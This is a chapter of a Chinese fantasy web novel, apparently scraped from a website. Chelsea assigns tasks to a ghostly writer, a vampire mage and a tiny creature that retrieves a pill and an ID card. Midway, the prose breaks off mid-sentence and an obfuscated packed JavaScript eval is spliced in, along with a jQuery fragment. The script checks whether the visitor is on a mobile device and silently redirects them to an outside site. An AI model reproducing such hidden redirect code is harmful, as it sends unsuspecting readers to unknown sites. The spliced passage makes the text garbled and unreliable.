“仔细看,记住这个东西。”
从作家的书桌上拿起纸笔,切西娅快速在上面涂画着什么。很快,白纸上就浮现出了之前“蛋糕人”吃下的白色药丸。
“找到它,并带回来。”
她简短地下了指令,将图画递给小怀特。
面前的小家伙只有巴掌大小,它卷起和自己一般高的图纸,非常努力地点了点脑袋,甩下来七八个雪白的斑点。
那些斑点只有黄豆大小,一个个蹦蹦跳跳的,想回到小家伙的身上。
看着小怀特走路歪歪扭扭的,切西娅不放心地叮嘱着:“你只有半个小时的时间,一定要在规定时间内回来。”
闻言,小家伙伸出短胖的小手,冲着她比了个OK的手势,瞬间消失在原地。
不见了?不会掉到缝隙里了吧?
她连忙四下寻找,却发现小家伙正趴在眼镜医生的肩膀上。
眼镜医生走在队伍的最后面,又因为刚才被院长训斥而沮丧,走得慢吞吞的,刚好给了小怀特机会。
它晃悠悠地扒着对方的衣服,毫不费力地找到了人形坐骑。
挺机灵的,长得又可爱…可惜只有半个小时的寿命。
收回视线,切西娅转身回到活动室中,从书架中随手选了几本书籍,坐下开始阅读。
这些书籍都由作家所书写,书中的主人公不同、故事发生的场所与背景也不同,但每本书都会出现同一种怪物。
怪物的姓名不详,外貌模糊,就连攻击手段也没有详细描写,在书中被统称为“它们”。
书中的故事要么以主人公的死亡告终,要么陷入癫狂的主人公又拉来新的参与者……总之,它们永远是神秘的、强大的、不可窥视的。
不得不说,对于描写灵异怪诞的剧情,作家确实很有天赋。
那些文字让人不寒而栗,仿佛书中的种种就围绕在身边展开。
人们会对书中的“它们”产生恐慌、惧怕的情绪,甚至认为故事是真实的。这又会增强“它们”的力量,让它们去散播更多的恐惧,从而形成良性循环。
再这样下去,作家的担忧就会变成现实。
心中有了定夺,切西娅从背包中拿出【死者之铃】,并按照约好的频率开始晃动。
不到五分钟,活动室的空气就变得阴冷起来,一道熟悉的声音在她身后响起。
“你来了,有什么需要我做的吗?”
作家虚幻的身影出现在切西娅背后,他看到桌面上七八本翻开的书籍,瞳孔猛然缩紧,随后轻叹一声。
“你不该看这些的。”
他的声音中隐约带着寒气。
“在阅读期间,你产生的所有负面情绪都会成为它们的养料。”
“你是对我没有信心,还是太过自信了?”
切西娅随意地合上书籍,转身看向作家。
“虽然你很会讲故事,但我已经对它们有所了解,又怎么会被这些缩头畏尾的家伙吓到?”
“没有就好。”
作家不相信她的说辞,但也不想在这个话题上过多纠缠。
“你叫我来是想做什么?”
“改稿子。”
她指着桌面上七零八落的书籍,继续道:“把这些故事的结局改了,改成它们狼狈地落败,被迫现出身形,最后被人类杀死……”
“还有,它们死亡的方式越滑稽越好。”
“你到底要干什么?这没有任何意义!”
作家不解地看着她,开始怀疑自己到底为什么要相信她。
“我是说过要用文字杀死它们,但只有未出版的书籍才能做到。它们死亡的剧情要被足够多的人看到并认可,它们才会被真的杀死。”
“但现在,你拿出来的这些书籍早就红遍大江南北,先不说修改后的版本怎么让人们看到,就算所有人都能看到,他们也很难认可这个后来的版本……”
“废话这么多,看来很快就能改完了。”
作家气得脸红脖子粗,就差活过来了,而切西娅还在悠哉地调侃他。
“既然让你修改,那我肯定是有把握的。”她说,“这是拯救人类的唯一方法,你爱信不信。”
作家咬牙切齿地看着她,可又没有别的办法。他犹豫再三,最终还是愤恨地拿起笔,答应了下来。
“我会尽全力修改,但按照现在的情况,我最多只能坚持一天,希望你是真的有办法。”
“放心吧,我向来说到做到。”
切西娅笑着说,可那副不着调的模样怎么看都让人不放心。
安排好第一位苦力的工作,她便离开活动室,去了其他人的房间。
二号床于小小的状态还不错,没了院长的虐待,她安静地待在房间里休养,也不再提及心心念念的考试。
而三号床的纪录就没那么幸运了,他是最先被抓去治疗的人,也是院长“特别关照”的对象,人看着已经疯了。
如果没有那些束缚带,恐怕他早就把自己折磨死了。现在虽然靠着药物让其昏睡,可一旦醒来,他便开始挣扎哀嚎,身上被束缚的地方都被磨蹭得鲜血淋漓。
切西娅只能多给他用一些【植物的心脏】,希望他能够坚持到副本结束。
最后,她来到了维尔伯特的房间。
或许院长也看出了两人关系的不寻常,除了切西娅外,维尔伯特的房间是最大的。
切西娅进来时,对方正沉默地坐在床边,不知道在想什么。
看到有人来,他也只是小幅度地礼貌点头,一句话也没说。
两人就这么安静待了一会儿。
“到了周五,真的就结束了吗?”
维尔伯特率先打破了寂静,声音中隐藏着复杂的情绪。
“当然。”
切西娅给了肯定答复,她揶揄地戳了下对方的脸颊,猝不及防之下,维尔伯特没来得及躲开。
“怎么?你怕我把录像公开给整个血族?”
听到切西娅再次提到那可恶的录像,他反常地没有说话,而是用袖口擦了擦脸颊。
从那件事后,他就十分抗拒他人的接近,更别说是直接的肢体接触。
常人一般遭到如此明显的嫌弃,都不会再次接近他。况且他身份尊贵,也没人敢冒犯。
但切西娅不一样。
见到维尔伯特的这番举动,她反倒来劲了。
趁着在副本里对方不能用魔法,切西娅靠着绝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209074|151086||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
对的体能优势,连着戳了他好多下,直到他来不及擦掉为止。
看到那厌烦又不得不忍耐的表情,切西娅心满意足,这才开始说正事。
“你看看这个。”
她从怀里掏出一个皱巴巴的纸团,扔给维尔伯特。
面对那来路不明又不太干净的纸团,维尔伯特嫌恶地皱了下眉,尽可能地少接触到皮肤,用指尖小心打开了。
“这是…法阵?”
他仔细审视着里面的图案,辨认出了纹路的类型。
“没错。”切西娅点头,“我给你两天时间,你把它破解了。”
“说得倒轻松……”
维尔伯特反复看了几遍,发现这法阵极为复杂。他现在没有魔力,手边也没有资料,法阵哪是那么简单破解的?
“做不到吗?那算了,我自己来。”
没等他把话说完,切西娅将纸张从他手上抽了出来,转身就要走。
“我什么时候说做不到了。”
他冷声道。
“论体能,或许我不如你。但提到魔法,血族的天赋可远远超过魔族。”
很好,中计了,激将法就是好用。
切西娅悄然勾起一抹得逞的笑容,但还是装腔作势地迟疑道:“只有两天时间,来得及吗?”
“如果我都来不及,那这里没人能做到。”
“那就交给你了!”
切西娅从善如流地走了回来,将纸团一把塞进他手中。
“你记得搞明白法阵的用途和原理、然后将整个法阵拆解开来,最好能找到破解的办法。还需要再给法阵做一些小小的改装,比如将魔力回路整个逆转,让法阵变成反效果……”
听着切西娅滔滔不绝的要求,他只觉得脑袋昏昏沉沉的,之前上学考试都没这么头疼过。
“你能做到的吧?大魔法师——”
那故意拖长的语调,以及其面部那愉悦的笑容,维尔伯特这才意识到自己被耍了,从一开始,对方就想把这份繁琐的工作交给他。
但话已经说出去了,他又没有某人那么厚的脸皮,也没办法反悔,只能硬着头皮答应了。
安排好第二位苦力的工作,切西娅心情大好,哼着小曲就往外走。
刚推开门,一团软绵绵的东西突然扑到了她怀里。
原本白白嫩嫩的小怀特出去了一趟,就变成灰扑扑的“小老鼠”了。
小家伙浑身沾满了脏东西,但它完全没有意识到不妥,反而一个劲地往切西娅怀里蹭。
那粗短的小手在身上摸索了半天,掏出来了个白色药丸,和切西娅在治疗室里看到的一模一样。
“呀呀。”
它神情自豪,咿咿呀呀地叫唤着,像是在冲着切西娅邀功。
“好宝宝。”
接过药丸,切西娅揉了揉它的脑袋,黏黏糊糊的胶体粘了一手。
得到夸奖,小怀特哼哼唧唧的,又开始在身上寻找什么,最终艰难地掏出来个身份卡,那东西足足有半个它大。
身份卡上写着其主人的姓名——
王建国。
小家伙似乎知道自己做了件了不起的事情,它右手叉腰,脑袋几乎要仰到天上去。